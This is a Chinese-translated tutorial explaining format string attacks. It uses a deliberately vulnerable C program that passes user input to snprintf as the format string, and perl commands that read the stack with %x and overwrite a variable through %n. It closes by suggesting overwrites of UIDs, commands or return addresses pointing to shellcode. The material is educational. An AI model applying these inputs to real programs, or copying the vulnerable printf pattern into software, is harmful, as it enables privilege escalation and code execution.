翻译: xuzq@chinasafer.com
内容:
介绍
什么是格式化字符串攻击?
Printf-学校忘记教给你的东西
简单的例子
来格式化吧!(Format Me!)
X MARKS THE SPOT(X是本文示例程序中我们试图重写的一个变量,这句我不知
道如何翻译)
怎么着(So what)?
摘要
本文讨论格式化字符串漏洞的成因和含义,并给出实际的例子来解释原理。
介绍
我知道在某些时候对于你我和我们大家而言,下面这种情况总会发生。在一个时下流行的
晚餐会上,夹杂在同事们大呼小叫的声音里,你听到了"格式化字符串攻击"这只言片语。
"格式化字符串攻击?什么是格式化字符串攻击?"你心说。由于害怕在同事们面前显露出
自己的无知,你决定停
止不自然的微笑,而频频点头以示自己对这玩艺了如指掌。如果一切顺利,大家会共饮鸡
尾酒,谈话仍将继续,但是没人明白这究竟是怎么回事。现在不用再害怕什么了,本文会
提供你想知道而又不好意思问的所有内容。
什么是格式化字符串攻击?
格式化字符串漏洞同其他许多安全漏洞一样是由于程序员的懒惰造成的。当你正在阅读本
文的时候,也许有个程序员正在编写代码,他的任务是:打印输出一个字符串或者把这个
串拷贝到某缓冲区内。他可以写出如下的代码:
printf("%s", str);
但是为了节约时间和提高效率,并在源码中少输入6个字节,他会这样写:
printf(str);
为什么不呢?干嘛要和多余的printf参数打交道,干嘛要花时间分解那些愚蠢的格式?
printf的第一个参数无论如何都会输出的!程序员在不知不觉中打开了一个安全漏洞,可
以让攻击者控制程序的执行,这就是不能偷懒的原因所在。
为什么程序员写的是错误的呢?他传入了一个他想要逐字打印的字符串。实际上该字符串
被printf函数解释为一个格式化字符串(format
string)。函数在其中寻找特殊的格式字符比如"%d"。如果碰到格式字符,一个变量的参
数值就从堆栈中取出。很明显,攻击者至少可以通过打印出堆栈中的这些值来偷看程序的
内存。但是有些事情就不那么明显了,这个简单的错误允许向运行中程序的内存里写入任
意值。
Printf-学校忘记教给你的东西
在说明如何为了自己的目的滥用printf之前,我们应该深入领会printf提供的特性。假定
读者以前用过printf函数并且知道普通的格式化特性,比如如何打印整型和字符串,如何
指定最大和最小字符串宽度等。除了这些普通的特性之外,还有一些深奥和鲜为人知的特
性。在这些特性当中,
下面介绍的对我们比较有用:
*在格式化字符串中任何位置都可以得到输出字符的个数。当在格式化字符串中
碰到"%n"的时候,在%n域之前输出的字符个数会保存到下一个参数里。例如,为了获取在
两个格式化的数字之间空间的偏量:
int pos, x = 235, y = 93;
printf("%d %n%d\n", x, &pos, y);
printf("The offset was %d\n", pos);
* %n格式返回应该被输出的字符数目,而不是实际输出的字符数目。当把一个字符串格式
化输出到一个定长缓冲区内时,输出字符串可能被截短。不考虑截短的影响,%n格式表示
如果不被截短的偏量值(输出字符数目)。为了说明这一点,下面的代码会输出100而不
是20:
char buf[20];
int pos, x = 0;
snprintf(buf, sizeof buf, "%.100d%n", x, &pos);
printf("position: %d\n", pos);
简单的例子
除了讨论抽象和复杂的理论,我们将会使用一个具体的例子来说明我们刚才讨论的原理。
下面这个简单的程序能满足这个要求:
/*
* fmtme.c
* Format a value into a fixed-size buffer
*/
#include <stdio.h>
int
main(int argc, char **argv)
{
char buf[100];
int x;
if(argc != 2)
exit(1);
x = 1;
snprintf(buf, sizeof buf, argv[1]);
buf[sizeof buf - 1] = 0;
printf("buffer (%d): %s\n", strlen(buf), buf);
printf("x is %d/%#x (@ %p)\n", x, x, &x);
return 0;
}
对这个程序有几点说明:第一,目的很简单:将一个通过命令行传递值格式化输出到一个
定长的缓冲区里。并确保缓冲区的大小限制不被突破。在缓冲区格式化后,把它输出。除
了把参数格式化,还设置了一个整型值随后输出。这个变量是随后我们攻击的目标。现在
值得我们注意的是这个
值应该始终为1。
本文中所有的例子都是在x86 BSD/OS
4.1机器上完成。如果你到莫桑比克执行任务超过20年时间可能会对x86不熟悉,这是一个
little-endian机器。这决定在例子中多精度数字的表示方法。在这里使用的具体数值会
因为系统的差异而不同,这些差异表现在不同体系结构、操作系统、环境甚至是命令行长
度。经过简单调整,这
些例子可以在其他x86平台上工作。通过努力也可以在其他体系结构的平台上工作。
来格式化吧!(Format Me!)
现在是我们戴上黑帽子开始以攻击者方式思考问题的时候了。我们现在手头有一个测试程
序。知道这个程序有一个漏洞并且了解程序员是在哪里犯错误的(直接把用户输入的命令
行参数作为snprintf的格式化参数)。我们还拥有关于printf函数深入的知识,知道如何
运用这些知识。让我们
开始修补我们的程序吧。
从简单的开始,我们通过简单的参数调用程序。看这儿:
% ./fmtme "hello world"
buffer (11): hello world
x is 1/0x1 (@ 0x804745c)
现在这儿还没有什么特别的事情发生。程序把我们输入的字符串格式化输出到缓冲区里,
然后打印出它的长度和数值。程序还告诉我们变量x的值是1(以十进制和十六进制分别显
示),x的存储地址是0x804745c。
接下来我们试着使用一些格式指令。在下面的例子中我们打印出在格式化字符串之上栈堆
中的整型数值:
% ./fmtme "%x %x %x %x"
buffer (15): 1 f31 1031 3133
x is 1/0x1 (@ 0x804745c)
对这个程序的快速分析可以揭示在调用snprintf函数时程序堆栈的规划:
AddressContents Description
fp+8 Buffer pointer 4-byte address
fp+12Buffer length 4-byte integer
fp+16Format string 4-byte address
fp+20Variable x 4-byte integer
fp+24Variable buf 100 characters
(补充:我参考了"缓冲区溢出机理分析"一文,才看明白上面的内容。简单介绍一下:当
程序中发生函数调用时,计算机做如下操作:首先把参数压入堆栈;然后保存指令寄存器
(IP)中的内容做为返回地址(RET);第三个放入堆栈的是基址寄存器(FP);然后把当前的
栈指针(SP)拷贝到FP,
做为新的基地址;最后为本地变量留出一定空间,把SP减去适当的数值。
----------------------------------------------------------------------
当调用函数snprintf ()时,堆栈如下:
低内存端高内存端
函数局部变量 sfpretbuf sizeof(buf)argv[1] x和buf
<- [] [ ][ ][ ][ ][ ]数据区
栈顶 栈底
)
前一个测试运行结果的四个输出值(1 f31 1031 3133)是在格式化字符串后面堆栈中接
下来的四个参数:变量x和3个4字节整型(未经初始化)。
现在该主角出场了。作为一个攻击者,我们要控制储存在缓冲区中的变量。这些值也是传
递给snprintf调用的参数!让我们看看这个测试:
% ./fmtme "aaaa %x %x"
buffer (15): aaaa 1 61616161
x is 1/0x1 (@ 0x804745c)
耶!我们提供的这四个'a'字符被拷贝到buffer的起始处,然后被snprintf作为整型参数
解释成0x61616161 ('a' is 0x61 in ASCII)。
X MARKS THE SPOT
所有的工作准备就绪了,是时候把我们的攻击从被动探测转为主动改变程序的状态了。还
记得变量"x"吗?让我们试着改变它的值。为了完成这个任务,我们必须跳过snprintf的
第一个参数,它就是变量x,最后使用%n格式写入我们指定的地址。这听起来比实际情况
复杂。用一个例子可以解
释清楚。【注意:我们在这里使用PERL来执行程序,这可以让我们方便地在命令行参数中
放置任意字符】:
% perl -e 'system "./fmtme", "\x58\x74\x04\x08%d%n"'
buffer (5): X1
x is 5/x05 (@ 0x8047458)
x的值被改变了,但是究竟发生了什么?传给snprintf的参数看起来如下所示:
snprintf(buf, sizeof buf, "\x58\x74\x04\x08%d%n", x, 4 bytes from buf)
起先snprintf把头四个字节拷入buf。接下来扫描%d格式并打印出x的值。最后遇到%n指令
。这个指令从栈堆中取出下一个值,该值来自buf的头四个字节。这四个字节是刚才填入
的"\x58\x74\x04\x08",或者解释成一个整型0x08047458。Snprintf然后写入到目前为止
输出的字节数目,5,到
这个地址(0x08047458)。这个地址就是变量x的地址。这不是巧合。我们通过先前对程
序的检查仔细选择了数值0x08047458。在这里,程序打印出我们感兴趣的地址是十分有帮
助的。更普遍的情况是这个值要通过debugger的帮助来获取
好棒耶!我们可以选取任意地址(几乎是任意地址;长度和不带NULL字符的地址一样长)
并且可以写入一个值。但是我们能写入一个有用的值吗?snprintf仅能写入到目前为止输
出的字符数目。如果我们想要写入一个比四大的小值,解决方法很简单:按照实际需要的
数值填充格式化字符串
直到我们得到正确的值。但是如果是大数值怎么办?这里我们可以利用一个事实:%n会计
数不考虑截短情况应该输出的字符个数:
% perl -e 'system "./fmtme", "\x54\x74\x04\x08%.500d%n"
buffer (99): %0000000 ... 0000
x is 504/x1f8 (@ 0x8047454)
%n写入x的值为504,比buf的长度限制99要长多了。我们可以通过指定一个大的域宽值[1]
(field
width)提供任意大的值。但是对于小值怎么办呢?我们可以通过多次写入的组合来构造
任意数值(甚至是0)。如果我们每次以一个字节的偏量写出四个数字,我们可以构造任
意整数而不仅限于至少四个字节(地址通常用四字节表示)。为了说明这一点,考虑下面
的四次写操作:
AddressA A+1A+2A+3A+4A+5A+6
Write to A: 0x11 0x11 0x11 0x11
Write to A+1:0x22 0x22 0x22 0x22
Write to A+2: 0x33 0x33 0x33 0x33
Write to A+3:0x44 0x44 0x44 0x44
Memory: 0x11 0x22 0x33 0x44 0x44 0x44 0x44
在四次写操作完成后,整型值0x44332211留在地址为A的内存中。由四次写入操作的有效
字节构成。这个技术使得我们更灵活地选择数值写入,但是这种方法是有缺点的:赋一个
值要用四次写操作。而且会覆盖目标地址临近的三个字节。它还要进行三次非对齐的写操
作,这项技术并不是通
用的。
怎么着(So what)?
So what? So what!? SO WHAT!#@?? 你可以向内存中的任意地址写入任意值(几乎是任意
的)!!!你肯定可以想出利用这一点的好方法。让我们看看
* 覆盖一个程序储存的UID值,以降低和提升特权
* 覆盖一个执行命令
* 覆盖一个返回地址,将其重定向到包含shell code的缓冲区中
更通俗地讲:你拥有这个程序(为所欲为)
今天我们都学到了什么?
* printf 比你以前想象的功能更强大
* 抄近路从来都是没有回报的(raphaelzl(小飞熊))
*一个看起来很微小的错误会给攻击者一个有力的杠杆用来毁掉你的生活(raphaelzl
(小飞熊))
* 拥有足够的时间、努力和一个复杂的输入字符串,你可以把某人的简单错误变成全国性
的新闻事件
[1] 在某些版本的glibc中printf的实现有缺陷。当指定一个大的域宽时,printf会导致
一个内部缓冲区的下溢出(?underflow)并且导致程序崩溃。因此,在某些版本的linux
下不可能使用大于几千的域宽值来攻击程序。例如:下面的代码会在有这个缺陷的系统上
导致segmentation
fault:
printf("%.9999d", 1);
……